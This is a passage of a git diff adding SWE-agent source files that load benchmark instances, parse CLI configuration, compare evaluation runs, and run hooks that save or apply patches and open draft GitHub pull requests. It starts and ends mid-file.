instance_dict in instance_dicts] + instances = [instance.to_full_batch_instance(self.deployment) for instance in simple_instances] + return _filter_batch_items(instances, filter_=self.filter, slice_=self.slice, shuffle=self.shuffle) + + @property + def id(self) -> str: + return self.path.stem + + +class InstancesFromHuggingFace(BaseModel, AbstractInstanceSource): + """Load instances from HuggingFace.""" + + dataset_name: str + """Name of the HuggingFace dataset. Same as when using `datasets.load_dataset`.""" + split: str = "dev" + filter: str = ".*" + """Regular expression to filter the instances by instance id.""" + slice: str = "" + """Select only a slice of the instances (after filtering by `filter`). + Possible values are stop or start:stop or start:stop:step. + (i.e., it behaves exactly like python's list slicing `list[slice]`). + """ + shuffle: bool = False + """Shuffle the instances (before filtering and slicing).""" + + deployment: DeploymentConfig = Field( + default_factory=lambda: DockerDeploymentConfig(image="python:3.11"), + ) + """Deployment configuration. Note that the `image_name` option is overwritten by the images specified in the task instances. + """ + type: Literal["huggingface"] = "huggingface" + """Discriminator for (de)serialization/CLI. Do not change.""" + + def get_instance_configs(self) -> list[BatchInstance]: + from datasets import load_dataset + + ds: list[dict[str, Any]] = load_dataset(self.dataset_name, split=self.split) # type: ignore + simple_instances: list[SimpleBatchInstance] = [SimpleBatchInstance.model_validate(instance) for instance in ds] + instances = [instance.to_full_batch_instance(self.deployment) for instance in simple_instances] + return _filter_batch_items(instances, filter_=self.filter, slice_=self.slice, shuffle=self.shuffle) + + @property + def id(self) -> str: + ds_name = "".join(l for l in self.dataset_name if l.isalnum() or l in ["-", "_"]) + return f"{ds_name}_{self.split}" + + +class SWEBenchInstances(BaseModel, AbstractInstanceSource): + """Load instances from SWE-bench.""" + + subset: Literal["lite", "verified", "full", "multimodal", "multilingual"] = "lite" + """Subset of swe-bench to use""" + + # IMPORTANT: Do not call this `path`, because then if people do not specify instance.type, + # it might be resolved to ExpertInstancesFromFile or something like that. + path_override: str | Path | None = None + """Allow to specify a different huggingface dataset name or path to a huggingface + dataset. This will override the automatic path set by `subset`. + """ + + split: Literal["dev", "test"] = "dev" + + deployment: DeploymentConfig = Field( + default_factory=lambda: DockerDeploymentConfig(image="python:3.11"), + ) + """Deployment configuration. Note that the image_name option is overwritten by the images specified in the task instances. + """ + + type: Literal["swe_bench"] = "swe_bench" + """Discriminator for (de)serialization/CLI. Do not change.""" + + filter: str = ".*" + """Regular expression to filter the instances by instance id.""" + slice: str = "" + """Select only a slice of the instances (after filtering by `filter`). + Possible values are stop or start:stop or start:stop:step. + (i.e., it behaves exactly like python's list slicing `list[slice]`). + """ + shuffle: bool = False + """Shuffle the instances (before filtering and slicing).""" + + evaluate: bool = False + """Run sb-cli to evaluate""" + + def _get_dataset_path(self) -> str: + if self.path_override is not None: + return str(self.path_override) + dataset_mapping = { + "full": "princeton-nlp/SWE-Bench", + "verified": "princeton-nlp/SWE-Bench_Verified", + "lite": "princeton-nlp/SWE-Bench_Lite", + "multimodal": "princeton-nlp/SWE-Bench_Multimodal", + "multilingual": "swe-bench/SWE-Bench_Multilingual", + } + + if self.subset not in dataset_mapping: + msg = f"Unsupported subset: {self.subset}" + raise ValueError(msg) + + return dataset_mapping[self.subset] + + def get_instance_configs(self) -> list[BatchInstance]: + from datasets import load_dataset + + ds: list[dict[str, Any]] = load_dataset(self._get_dataset_path(), split=self.split) # type: ignore + + if isinstance(self.deployment, DockerDeploymentConfig): + self.deployment.platform = "linux/amd64" + + instances = [ + SimpleBatchInstance.from_swe_bench(instance).to_full_batch_instance(self.deployment) for instance in ds + ] + return _filter_batch_items(instances, filter_=self.filter, slice_=self.slice, shuffle=self.shuffle) + + @property + def id(self) -> str: + return f"swe_bench_{self.subset}_{self.split}" + + +class ExpertInstancesFromFile(BaseModel, AbstractInstanceSource): + """Load instances from a file. The difference to `InstancesFromFile` is that the instances are configured as full + `EnvironmentInstanceConfig` objects, i.e., we could specify separate deployment configurations etc. + """ + + path: Path + filter: str = ".*" + """Regular expression to filter the instances by instance id.""" + slice: str = "" + """Select only a slice of the instances (after filtering by `filter`). + Possible values are stop or start:stop or start:stop:step. + (i.e., it behaves exactly like python's list slicing `list[slice]`). + """ + shuffle: bool = False + """Shuffle the instances (before filtering and slicing).""" + + type: Literal["expert_file"] = "expert_file" + """Discriminator for (de)serialization/CLI. Do not change.""" + + def get_instance_configs(self) -> list[BatchInstance]: + instance_dicts = load_file(self.path) + instances = [BatchInstance.model_validate(instance_dict) for instance_dict in instance_dicts] + return _filter_batch_items(instances, filter_=self.filter, slice_=self.slice, shuffle=self.shuffle) + + @property + def id(self) -> str: + return self.path.stem + + +class SWESmithInstances(BaseModel, AbstractInstanceSource): + """Load instances from SWE-smith.""" + + path: Path + + deployment: DeploymentConfig = Field( + default_factory=lambda: DockerDeploymentConfig(image="python:3.11"), + ) + """Deployment configuration. Note that the image_name option is overwritten by the images specified in the task instances. + """ + + filter: str = ".*" + """Regular expression to filter the instances by instance id.""" + slice: str = "" + """Select only a slice of the instances (after filtering by `filter`). + Possible values are stop or start:stop or start:stop:step. + (i.e., it behaves exactly like python's list slicing `list[slice]`). + """ + shuffle: bool = False + """Shuffle the instances (before filtering and slicing).""" + + type: Literal["swesmith"] = "swesmith" + """Discriminator for (de)serialization/CLI. Do not change.""" + + def get_instance_configs(self) -> list[BatchInstance]: + github_token = os.getenv("GITHUB_TOKEN", "") + + instance_dicts = load_file(self.path) + instances = [] + + for instance_dict in instance_dicts: + deployment = self.deployment.model_copy(deep=True) + deployment.image = instance_dict["image_name"] # type: ignore + + if isinstance(deployment, DockerDeploymentConfig) and deployment.python_standalone_dir is None: + deployment.python_standalone_dir = "/root" # type: ignore + + instance_id = instance_dict["instance_id"] + repo_field = instance_dict.get("repo", "") + + mirror_url = "" + if repo_field and _is_repo_private(repo_field, github_token): + if not github_token: + msg = ( + f"Repo '{repo_field}' appears to be private but GITHUB_TOKEN is not set. " + "Set GITHUB_TOKEN with 'repo' scope to access private repositories." + ) + raise ValueError(msg) + mirror_url = f"https://github.com/{repo_field}.git" + + repo = SWESmithRepoConfig( + repo_name="testbed", + base_commit=instance_id, + mirror_url=mirror_url, + ) + + problem_statement = TextProblemStatement( + text=instance_dict.get("problem_statement", ""), + id=instance_id, + extra_fields={"fail_to_pass": instance_dict.get("FAIL_TO_PASS", [])}, + ) + + instances.append( + BatchInstance( + env=EnvironmentConfig(deployment=deployment, repo=repo), + problem_statement=problem_statement, + ) + ) + + return _filter_batch_items(instances, filter_=self.filter, slice_=self.slice, shuffle=self.shuffle) + + @property + def id(self) -> str: + return f"swesmith_{self.path.stem}" + + +BatchInstanceSourceConfig = ( + InstancesFromHuggingFace | InstancesFromFile | SWEBenchInstances | ExpertInstancesFromFile | SWESmithInstances +) diff --git a/sweagent/run/common.py b/sweagent/run/common.py new file mode 100644 index 0000000..37d7e1e --- /dev/null +++ b/sweagent/run/common.py @@ -0,0 +1,387 @@ +"""Common functionality for the run scripts.""" + +import json +import sys +from argparse import ArgumentParser +from collections import defaultdict +from collections.abc import Callable +from pathlib import Path +from types import UnionType +from typing import Any + +import yaml +from pydantic import ValidationError +from pydantic_settings import BaseSettings, CliApp, SettingsError +from rich import print as rich_print +from rich.panel import Panel + +from sweagent import CONFIG_DIR +from sweagent.types import AgentInfo, AgentRunResult +from sweagent.utils.log import get_logger +from sweagent.utils.serialization import merge_nested_dicts + + +def _shorten_strings(data, *, max_length=30): + """ + Recursively shortens all strings in a nested data structure to a maximum length. + + Args: + data: The nested data structure (dicts, lists, and strings). + max_length: The maximum length for strings. + + Returns: + The modified data structure with shortened strings. + """ + if isinstance(data, str): + # Shorten the string if it exceeds the max length + data = data.replace("\n", "\\n") + return data[: max_length - 3] + "..." + elif isinstance(data, list): + # Recursively process each item in the list + return [_shorten_strings(item, max_length=max_length) for item in data] + elif isinstance(data, dict): + # Recursively process each value in the dictionary + return {key: _shorten_strings(value, max_length=max_length) for key, value in data.items()} + else: + # Return the data as is if it's neither a string, list, nor dict + return data + + +_VALIDATION_ERROR_HELP_TEXT = """ +The following errors are raised by Pydantic, trying to instantiate the configuration based on +the merged configuration dictionary [bold](see above)[/bold]. + +Every new indented block corresponds to a different error from Pydantic. +The first line of each block is the attribute that failed validation, the following lines are the error messages. + +If you see many lines of errors, there are probably different ways to instantiate the same object (a union type). +For example, there are different deployments with different options each. Pydantic is then trying +one after the other and reporting the failures for each of them. +More on union types: [link=https://swe-agent.com/latest/usage/cl_tutorial/#union-types]https://swe-agent.com/latest/usage/cl_tutorial/#union-types[/link] +""" + +_SETTING_ERROR_HINTS = """ +[red][bold]Hints:[/bold][/red] +Run `sweagent --help` for usage examples. + +[red][bold]Common mistakes:[/bold][/red] +- You used dashes instead of underscores (wrong: `--num-workers`, correct: `--num_workers`). +- You forgot about part of the hierarchy (wrong: `--model.name`, correct: `--agent.model.name`). +""" + + +class AutoCorrectSuggestion: + def __init__( + self, original: str, alternative: str = "", *, condition: Callable | None = None, help: str | None = None + ): + self.original = original + self.alternative = alternative + self.condition = condition + self.help = help + if self.help and self.alternative: + msg = "Cannot set both help and alternative" + raise ValueError(msg) + + def show(self, args: list[str]) -> bool: + no_equal = [] + for arg in args: + if "=" in arg: + no_equal.extend(arg.split("=")) + else: + no_equal.append(arg) + if self.condition is not None: + return self.condition(no_equal) + return f"--{self.original}" in no_equal + + def format(self) -> str: + if self.help: + return self.help + return f"You wrote [red]--{self.original}[/red]. Did you mean [green]--{self.alternative}[/green]?" + + +class ConfigHelper: + """Produce easy-to-read help text from pydantic setting objects.""" + + def _get_type_name(self, item: Any, full: bool = False): + """Given a config type, return a string that is either the full name or just the class name.""" + full_name = str(item).removeprefix("") + if full: + return full_name + return full_name.split(".")[-1] + + def _get_value_help_string(self, item: Any, description: str | None): + """Given an item, document it""" + if hasattr(item, "model_fields"): + # It's a pydantic config class + full_name = self._get_type_name(item, full=True) + name = self._get_type_name(item) + out = f"[green]{name}[/green]\n" + if description: + out += f" {description}\n" + out += f" Run [green]--help_option {full_name}[/green] for more info" + return out + if isinstance(item, UnionType): + name = self._get_type_name(item) + out = "" + if description: + out += f" {description}\n" + out += " This config item can be one of the following things (run [green]--help_option [/green] for more info):\n" + things = str(item).split("|") + for thing in things: + out += f" [green]{thing.strip()}[/green]\n" + return out.strip() + return self._get_type_name(item) + + def get_help(self, config_type: type[BaseSettings]) -> str: + lines = [] + for name, field_info in config_type.model_fields.items(): + line = f"[green][bold]{name}[/bold][/green]: " + line += self._get_value_help_string(field_info.annotation, field_info.description) + lines.append(line) + return "\n\n".join(lines) + + +def _nested_dict(): + """Helper function to create nested dictionaries.""" + return defaultdict(_nested_dict) + + +def _parse_args_to_nested_dict(args): + """Parse the command-line arguments into a nested dictionary.""" + result = _nested_dict() + + i = 0 + while i < len(args): + arg = args[i] + if not arg.startswith("--"): + i += 1 + continue + + # Handle --key=value format + if "=" in arg: + key, value = arg[2:].split("=", 1) + # Handle --key value format + else: + key = arg[2:] + i += 1 + if i >= len(args): + break + value = args[i] + + # Convert value to int if possible + value = int(value) if value.isdigit() else value + + # Build nested dict structure + keys = key.split(".") + current = result + for k in keys[:-1]: + current = current[k] + current[keys[-1]] = value + + i += 1 + + return result + + +# todo: Parameterize type hints +class BasicCLI: + def __init__( + self, + config_type: type[BaseSettings], + *, + default_settings: bool = True, + help_text: str | None = None, + default_config_file: Path = CONFIG_DIR / "default.yaml", + ): + """This class implements a basic CLI for SWE-agent. It is based on pydantic-settings, i.e., takes + a `BaseSettings` object. In principle you could just initialize these via `pydantic-settings`'s `CliApp.run`, + however, we also want to add a `--config` option to load additional config files and some other things. + We also try to improve a bit on the pydantic error messages in here. + + Args: + config_type: The type of the configuration object to instantiate. + default_settings: Whether to load the default settings. + help_text: If given, this will override the default help text that would usually be shown + by argparse. + """ + self.arg_type = config_type + self.default_settings = default_settings + self.logger = get_logger("swea-cli", emoji="🔧") + self.help_text = help_text + self.default_config_file = default_config_file + + def maybe_show_auto_correct(self, args: list[str]): + auto_correct = [] + if hasattr(self.arg_type, "_get_auto_correct"): + for ac in self.arg_type._get_auto_correct(): # type: ignore + if ac.show(args): + auto_correct.append(ac) + if auto_correct: + rich_print( + Panel.fit( + "[red][bold]Auto-correct suggestions[/bold][/red]\n\n" + + "\n".join(ac.format() for ac in auto_correct), + ) + ) + + def get_config(self, args: list[str] | None = None) -> BaseSettings: + """Get the configuration object from defaults and command arguments.""" + + # >>> Step 1: Use argparse to add a --config option to load whole config files + + # The defaults if no config file is provided + # Otherwise, the configs from the respective classes will be used + parser = ArgumentParser(description=__doc__, add_help=False) + parser.add_argument( + "--config", + type=Path, + action="append", + default=[], + help=( + "Load additional config files. Use this option multiple times to load " + "multiple files, e.g., --config config1.yaml --config config2.yaml" + ), + ) + parser.add_argument( + "-h", + "--help", + help="Show help text and exit", + action="store_true", + ) + parser.add_argument( + "--help_option", + help="Show help text for a specific option", + ) + if self.default_settings: + parser.add_argument( + "--no_config_file", + action="store_true", + help="Do not load default config file when no config file is provided", + ) + parser.add_argument( + "--print_config", + action="store_true", + help="Print the final config and exit", + ) + + # >>> Step 2: Parse argparse arguments but keep all the remaining arguments. + # Explicitly handle --help and --print-options + + cli_args, remaining_args = parser.parse_known_args(args) + + if cli_args.help: + if self.help_text: + rich_print(self.help_text) + else: + parser.print_help() + exit(0) + if cli_args.help_option: + module, _, name = cli_args.help_option.rpartition(".") + if module not in sys.modules: + __import__(module) + type_ = getattr(sys.modules[module], name) + rich_print(ConfigHelper().get_help(type_)) + exit(0) + + # >>> Step 3: Load config files and merge them in a big nested data structure + + config_merged = {} + config_files = [] + if cli_args.config: + config_files.extend(cli_args.config) + for _f in cli_args.config: + txt = Path(_f).read_text() + if not txt.strip(): + self.logger.warning(f"Config file {_f} is empty") + continue + _loaded = yaml.safe_load(txt) + merge_nested_dicts(config_merged, _loaded) + elif self.default_settings and not cli_args.no_config_file: + config_file = self.default_config_file + config_files.append(config_file) + msg = ( + f"Loading default config from {config_file}, because no other " + "config file is specified. Specify --no_config_file to disable this." + ) + self.logger.info(msg) + txt = config_file.read_text() + if not txt.strip(): + self.logger.warning(f"Default config file {config_file} is empty") + config_merged = {} + else: + config_merged = yaml.safe_load(txt) + else: + config_merged = {} + + # For informational purposes, we also merge in the command line options + cl_options_dict = _parse_args_to_nested_dict(remaining_args) + + # >>> Step 4: Bring together remaining arguments and the merged config to initialize the config object + # This is done by CliApp.run from pydantic-settings + + try: + config: BaseSettings = CliApp.run(self.arg_type, remaining_args, **config_merged, cli_exit_on_error=False) # type: ignore + except ValidationError as e: + rich_print( + Panel.fit( + "[red][bold]Configuration from config files\n[/bold]" + "This is all the configuration that was provided from defaults, --config, and CLI arguments[/red]\n\n" + + yaml.dump(_shorten_strings(config_merged)) + ) + ) + rich_print( + Panel.fit( + "[red][bold]Configuration from CLI arguments\n[/bold]" + "This is all the configuration that was provided from the command line arguments[/red]\n\n" + + yaml.dump(_shorten_strings(cl_options_dict)) + ) + ) + rich_print( + Panel.fit( + "[red][bold]Merged configuration\n[/bold]" + "This is the merged configuration that was used to instantiate the config object[/red]\n\n" + + yaml.dump(_shorten_strings(merge_nested_dicts(config_merged, cl_options_dict))) + ) + ) + rich_print( + Panel.fit( + "[red][bold]Validation error[/bold]\n" + _VALIDATION_ERROR_HELP_TEXT + "[/red]\n" + str(e), + ) + ) + self.maybe_show_auto_correct(remaining_args) + msg = "Invalid configuration. Please check the above output." + raise RuntimeError(msg) from None + except SettingsError as e: + rich_print(Panel.fit("[red][bold]SettingsError[/bold][/red]\n\n" + str(e) + "\n\n" + _SETTING_ERROR_HINTS)) + self.maybe_show_auto_correct(remaining_args) + msg = "Invalid command line arguments. Please check the above output in the box." + raise RuntimeError(msg) from None + + if cli_args.print_config: # type: ignore + print(yaml.dump(config.model_dump())) + exit(0) + + # Attach config files to the arg object, because we need them for file naming purposes + # (the output traj directory is named after the last config file) + config._config_files = config_files # type: ignore + return config + + +def save_predictions(traj_dir: Path, instance_id: str, result: AgentRunResult): + """Save predictions in a file readable by SWE-bench""" + output_file = traj_dir / instance_id / (instance_id + ".pred") + output_file.parent.mkdir(parents=True, exist_ok=True) + datum = { + "model_name_or_path": traj_dir.name, + "instance_id": instance_id, + "model_patch": result.info.get("submission"), + } + output_file.write_text(json.dumps(datum)) + + +def _is_promising_patch(info: AgentInfo) -> bool: + """Do we actually believe that the patch will solve the issue? + Or are we just submitting the last patch we generated before hitting an error? + """ + # The exit status can also be `submitted (exit_cost)` etc. + return info.get("exit_status") == "submitted" and info.get("submission") is not None diff --git a/sweagent/run/compare_runs.py b/sweagent/run/compare_runs.py new file mode 100644 index 0000000..158c20c --- /dev/null +++ b/sweagent/run/compare_runs.py @@ -0,0 +1,123 @@ +import argparse +import json +from pathlib import Path + +from tabulate import tabulate + + +def get_resolved(path: Path) -> set[str]: + data = json.loads(path.read_text()) + if "resolved" in data: + data["resolved_ids"] = data["resolved"] + return set(data["resolved_ids"]) + + +def get_submitted(path: Path) -> set[str]: + return set(json.loads(path.read_text())["submitted_ids"]) + + +def stats_single(path: Path) -> None: + evaluated_ids = sorted(get_submitted(path)) + resolved_ids = sorted(get_resolved(path)) + print(f"Total evaluated: {len(evaluated_ids)}") + print(f"Total resolved: {len(resolved_ids)}") + + +def compare_many(paths: list[Path]) -> None: + evaluated_ids = {} + resolved_ids = {} + for path in paths: + evaluated_ids[path] = sorted(get_submitted(path)) + resolved_ids[path] = sorted(get_resolved(path)) + header: list[str] = ["ID"] + [str(i) for i in range(len(paths))] + ["Success rate"] + table: list[list[str | float | int]] = [] + + def get_emoji(id: str, path: Path) -> str: + if id not in evaluated_ids[path]: + return "❓" + if id in resolved_ids[path]: + return "✅" + return "❌" + + ids_to_compare = set(evaluated_ids[paths[0]]) + for id in sorted(ids_to_compare): + row = [id] + [get_emoji(id, path) for path in paths] + n_success = sum(id in resolved_ids[path] for path in paths) + n_evaluated = sum(id in evaluated_ids[path] for path in paths) + row.append(f"{n_success / n_evaluated:.2f}") + table.append(row) + successes: list[str | float] = ["Successes"] + success_rates: list[str | float] = ["Success rates"] + for path in paths: + n_success = sum(id in resolved_ids[path] for id in ids_to_compare) + n_evaluated = sum(id in evaluated_ids[path] for id in ids_to_compare) + successes.append(n_success) + success_rates.append(f"{n_success / n_evaluated:.2f}") + table.append(successes) + table.append(success_rates) + print(tabulate(table, headers=header)) + print() + + header: list[str] = ["#", "ID", "Successes", "Success rate"] + table: list[list[str | float | int]] = [] + for i, path in enumerate(paths): + row = [i, path.parent.name, successes[i + 1], success_rates[i + 1]] + table.append(row) + print(tabulate(table, headers=header)) + + +def compare_pair(new_path: Path, old_path: Path, *, show_same=False) -> None: + evaluated_ids = sorted(get_submitted(new_path)) + resolved_ids = sorted(get_resolved(new_path)) + old_evaluated_ids = sorted(get_submitted(old_path)) + old_resolved_ids = sorted(get_resolved(old_path)) + print(f"Total evaluated: new {len(evaluated_ids)}, old {len(old_evaluated_ids)}") + print(f"Total resolved: new {len(resolved_ids)}, old {len(old_resolved_ids)}") + print("-" * 80) + print("Emoji legend:") + print("❓: Not evaluated in old version, so guessing it's either 😀 or 👾") + print("😀: Newly resolved in new version") + print("✅: Resolved in both") + print("❌: Resolved in old, not in new") + print("👾: Unresolved in both") + print("-" * 80) + + for id in evaluated_ids: + resolved_now = id in resolved_ids + resolved_before = id in old_resolved_ids + if id not in old_evaluated_ids and resolved_now: + emoji = "😀❓" + elif id not in old_evaluated_ids and not resolved_now: + emoji = "👾❓" + elif resolved_now and not resolved_before: + emoji = "😀" + elif resolved_now and resolved_before: + emoji = "✅" + if not show_same: + continue + elif not resolved_now and resolved_before: + emoji = "❌" + else: + emoji = "👾" + if not show_same: + continue + print(f"{emoji} {id}") + + +def run_from_cli(_args: list[str] | None = None) -> None: + def get_preds_path(path: Path) -> Path: + if path.is_dir(): + return path / "results.json" + return path + + parser = argparse.ArgumentParser() + parser.add_argument("paths", type=Path, nargs="+") + parser.add_argument("--show-same", action="store_true") + args = parser.parse_args(_args) + args.paths = [get_preds_path(path) for path in args.paths] + if len(args.paths) == 1: + stats_single(args.paths[0]) + elif len(args.paths) == 2: + compare_pair(args.paths[0], args.paths[1], show_same=args.show_same) + else: + compare_many(args.paths) diff --git a/sweagent/run/extract_pred.py b/sweagent/run/extract_pred.py new file mode 100644 index 0000000..75897e6 --- /dev/null +++ b/sweagent/run/extract_pred.py @@ -0,0 +1,19 @@ +"""If for some reason the .pred file isn't saved, we can extract it from the .traj file.""" + +import argparse +import json +from pathlib import Path + + +def run_from_cli(_args: list[str] | None = None): + parser = argparse.ArgumentParser() + parser.add_argument("traj_path", type=Path) + args = parser.parse_args(_args) + data = json.loads(args.traj_path.read_text()) + pred_path = args.traj_path.with_suffix(".pred") + pred_data = { + "model_name_or_path": args.traj_path.resolve().parent.parent.name, + "model_patch": data["info"]["submission"], + "instance_id": args.traj_path.resolve().parent.name, + } + pred_path.write_text(json.dumps(pred_data)) diff --git a/sweagent/run/hooks/__init__.py b/sweagent/run/hooks/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/run/hooks/abstract.py b/sweagent/run/hooks/abstract.py new file mode 100644 index 0000000..b0074f2 --- /dev/null +++ b/sweagent/run/hooks/abstract.py @@ -0,0 +1,67 @@ +from sweagent.agent.problem_statement import ProblemStatement, ProblemStatementConfig +from sweagent.environment.swe_env import SWEEnv +from sweagent.types import AgentRunResult + + +class RunHook: + """Hook structure for the web server or other addons to interface with""" + + def on_init(self, *, run): + """Called when hook is initialized""" + + def on_start(self): + """Called at the beginning of `Main.main`""" + + def on_end(self): + """Called at the end of `Main.main`""" + + def on_instance_start( + self, *, index: int, env: SWEEnv, problem_statement: ProblemStatement | ProblemStatementConfig + ): + """Called at the beginning of each instance loop in `Main.run`""" + + def on_instance_skipped( + self, + ): + """Called when an instance is skipped in `Main.run`""" + + def on_instance_completed(self, *, result: AgentRunResult): + """Called when an instance is completed in `Main.run`""" + + +class CombinedRunHooks(RunHook): + def __init__(self): + self._hooks = [] + + def add_hook(self, hook: RunHook) -> None: + self._hooks.append(hook) + + @property + def hooks(self) -> list[RunHook]: + return self._hooks + + def on_init(self, *, run): + for hook in self._hooks: + hook.on_init(run=run) + + def on_start(self): + for hook in self._hooks: + hook.on_start() + + def on_end(self): + for hook in self._hooks: + hook.on_end() + + def on_instance_start( + self, *, index: int, env: SWEEnv, problem_statement: ProblemStatement | ProblemStatementConfig + ): + for hook in self._hooks: + hook.on_instance_start(index=index, env=env, problem_statement=problem_statement) + + def on_instance_skipped(self): + for hook in self._hooks: + hook.on_instance_skipped() + + def on_instance_completed(self, *, result: AgentRunResult): + for hook in self._hooks: + hook.on_instance_completed(result=result) diff --git a/sweagent/run/hooks/apply_patch.py b/sweagent/run/hooks/apply_patch.py new file mode 100644 index 0000000..d199ec1 --- /dev/null +++ b/sweagent/run/hooks/apply_patch.py @@ -0,0 +1,110 @@ +import subprocess +import threading +from pathlib import Path + +import rich +import rich.markdown +import rich.panel + +from sweagent.agent.problem_statement import ProblemStatementConfig +from sweagent.environment.repo import LocalRepoConfig +from sweagent.environment.swe_env import SWEEnv +from sweagent.run.common import _is_promising_patch +from sweagent.run.hooks.abstract import RunHook +from sweagent.types import AgentRunResult +from sweagent.utils.log import get_logger + + +class SaveApplyPatchHook(RunHook): + """This hook saves patches to a separate directory and optionally applies them to a local repository.""" + + def __init__(self, apply_patch_locally: bool = False, show_success_message: bool = True): + self.logger = get_logger("swea-save_apply_patch", emoji="⚡️") + self._apply_patch_locally = apply_patch_locally + self._show_success_message = show_success_message + # Thread-local storage so that concurrent workers in run-batch do not + # overwrite each other's per-instance state (_env, _problem_statement). + self._local = threading.local() + + def on_init(self, *, run): + self._output_dir = Path(run.output_dir) + + def on_instance_start(self, *, index: int, env: SWEEnv, problem_statement: ProblemStatementConfig): + self._local.env = env + self._local.problem_statement = problem_statement + + def on_instance_completed(self, *, result: AgentRunResult): + instance_id = self._local.problem_statement.id + patch_path = self._save_patch(instance_id, result.info) + if patch_path: + if not self._apply_patch_locally: + return + if not _is_promising_patch(result.info): + return + if self._local.env.repo is None: + return + if not isinstance(self._local.env.repo, LocalRepoConfig): + return + local_dir = Path(self._local.env.repo.path) + self._apply_patch(patch_path, local_dir) + + @staticmethod + def _print_patch_message(patch_output_file: Path): + console = rich.console.Console() + msg = [ + "SWE-agent has produced a patch that it believes will solve the issue you submitted!", + "Use the code snippet below to inspect or apply it!", + ] + panel = rich.panel.Panel.fit( + "\n".join(msg), + title="🎉 Submission successful 🎉", + ) + console.print(panel) + content = [ + "```bash", + "# The patch has been saved to your local filesystem at:", + f"PATCH_FILE_PATH='{patch_output_file.resolve()}'", + "# Inspect it:", + 'cat "${PATCH_FILE_PATH}"', + "# Apply it to a local repository:", + "cd ", + 'git apply "${PATCH_FILE_PATH}"', + "```", + ] + console.print(rich.markdown.Markdown("\n".join(content))) + + def _save_patch(self, instance_id: str, info) -> Path | None: + """Create patch files that can be applied with `git am`. + + Returns: + The path to the patch file, if it was saved. Otherwise, returns None. + """ + patch_output_dir = self._output_dir / instance_id + patch_output_dir.mkdir(exist_ok=True, parents=True) + patch_output_file = patch_output_dir / f"{instance_id}.patch" + if info.get("submission") is None: + self.logger.info("No patch to save.") + return None + model_patch = info["submission"] + patch_output_file.write_text(model_patch) + if _is_promising_patch(info): + # Only print big congratulations if we actually believe + # the patch will solve the issue + if self._show_success_message: + self._print_patch_message(patch_output_file) + return patch_output_file + + def _apply_patch(self, patch_file: Path, local_dir: Path) -> None: + """Apply a patch to a local directory.""" + + assert local_dir.is_dir() + assert patch_file.exists() + # The resolve() is important, because we're gonna run the cmd + # somewhere else + cmd = ["git", "apply", str(patch_file.resolve())] + try: + subprocess.run(cmd, cwd=local_dir, check=True) + except subprocess.CalledProcessError as e: + self.logger.error(f"Failed to apply patch {patch_file} to {local_dir}: {e}") + return + self.logger.info(f"Applied patch {patch_file} to {local_dir}") diff --git a/sweagent/run/hooks/open_pr.py b/sweagent/run/hooks/open_pr.py new file mode 100644 index 0000000..918db2b --- /dev/null +++ b/sweagent/run/hooks/open_pr.py @@ -0,0 +1,244 @@ +import os +import random +import shlex + +from ghapi.all import GhApi +from pydantic import BaseModel + +from sweagent.environment.swe_env import SWEEnv +from sweagent.run.hooks.abstract import RunHook +from sweagent.types import AgentRunResult +from sweagent.utils.github import ( + InvalidGithubURL, + _get_associated_commit_urls, + _get_gh_issue_data, + _parse_gh_issue_url, +) +from sweagent.utils.log import get_logger + +# NOTE +# THE IMPLEMENTATION DETAILS HERE WILL CHANGE SOON! + + +# fixme: Bring back the ability to open the PR to a fork +def open_pr(*, logger, token, env: SWEEnv, github_url, trajectory, _dry_run: bool = False) -> None: + """Create PR to repository + + Args: + trajectory: Trajectory of actions taken by the agent + _dry_run: Whether to actually push anything or just simulate it + """ + + issue_url = github_url + logger.info("Opening PR") + try: + issue = _get_gh_issue_data(issue_url, token=token) + except InvalidGithubURL as e: + msg = "Data path must be a github issue URL if open_pr is set to True." + raise ValueError(msg) from e + branch_name = f"swe-agent-fix-#{issue.number}-" + str(random.random())[2:10] + env.communicate( + input="git config user.email 'noemail@swe-agent.com' && git config user.name 'SWE-agent'", + error_msg="Failed to set git user", + timeout=10, + check="raise", + ) + env.communicate(input="rm -f model.patch", error_msg="Failed to remove model patch", timeout=10, check="raise") + env.communicate( + input=f"git checkout -b {branch_name}", error_msg="Failed to switch to new branch", timeout=10, check="raise" + ) + env.communicate(input="git add .", error_msg="Failed to add commits", timeout=10, check="raise") + dry_run_flag = "--allow-empty" if _dry_run else "" + commit_msg = [ + shlex.quote(f"Fix: {issue.title}"), + shlex.quote(f"Closes #{issue.number}"), + ] + out = env.communicate( + input=f"git commit -m {commit_msg[0]} -m {commit_msg[1]} {dry_run_flag}", + error_msg="Failed to commit changes", + timeout=10, + check="raise", + ) + logger.debug(f"Committed changes: {out}") + + owner, repo, _ = _parse_gh_issue_url(issue_url) + # fixme: bring this back + # If `--repo_path` was specified with a different github URL, then the record will contain + # the forking user + forker = owner + head = branch_name + remote = "origin" + if forker != owner: + head = f"{forker}:{branch_name}" + token_prefix = "" + if token: + token_prefix = f"{token}@" + fork_url = f"https://{token_prefix}github.com/{forker}/{repo}.git" + logger.debug(f"Using fork: {fork_url}") + env.communicate( + input=f"git remote add fork {fork_url}", + error_msg="Failed to create new git remote", + timeout=10, + ) + remote = "fork" + dry_run_prefix = "echo " if _dry_run else "" + out = env.communicate( + input=f"{dry_run_prefix} git push {remote} {branch_name}", + error_msg=( + "Failed to push branch to remote. Please check your token and permissions. " + "You might want to push to a fork with the push_gh_repo_url option." + ), + timeout=10, + ) + logger.debug(f"Pushed commit to {remote=} {branch_name=}: {out}") + body = ( + f"This is a PR opened by AI tool [SWE Agent](https://github.com/SWE-agent/SWE-agent/) " + f"to close [#{issue.number}]({issue_url}) ({issue.title}).\n\nCloses #{issue.number}." + ) + body += "\n\n" + format_trajectory_markdown(trajectory, char_limit=60_000) + api = GhApi(token=token) + default_branch = api.repos.get(owner, repo).default_branch + if not _dry_run: + args = dict( + owner=owner, + repo=repo, + title=f"SWE-agent[bot] PR to fix: {issue.title}", + head=head, + base=default_branch, + body=body, + draft=True, + ) + logger.debug(f"Creating PR with args: {args}") + pr_info = api.pulls.create(**args) # type: ignore + logger.info( + f"🎉 PR created as a draft at {pr_info.html_url}. Please review it carefully, push " + "any required changes onto the branch and then click " + "'Ready for Review' to bring it to the attention of the maintainers.", + ) + + +class OpenPRConfig(BaseModel): + # Option to be used with open_pr: Skip action if there are already commits claiming + # to fix the issue. Please only set this to False if you are sure the commits are + # not fixes or if this is your own repository! + skip_if_commits_reference_issue: bool = True + + +class OpenPRHook(RunHook): + """This hook opens a PR if the issue is solved and the user has enabled the option.""" + + def __init__(self, config: OpenPRConfig): + 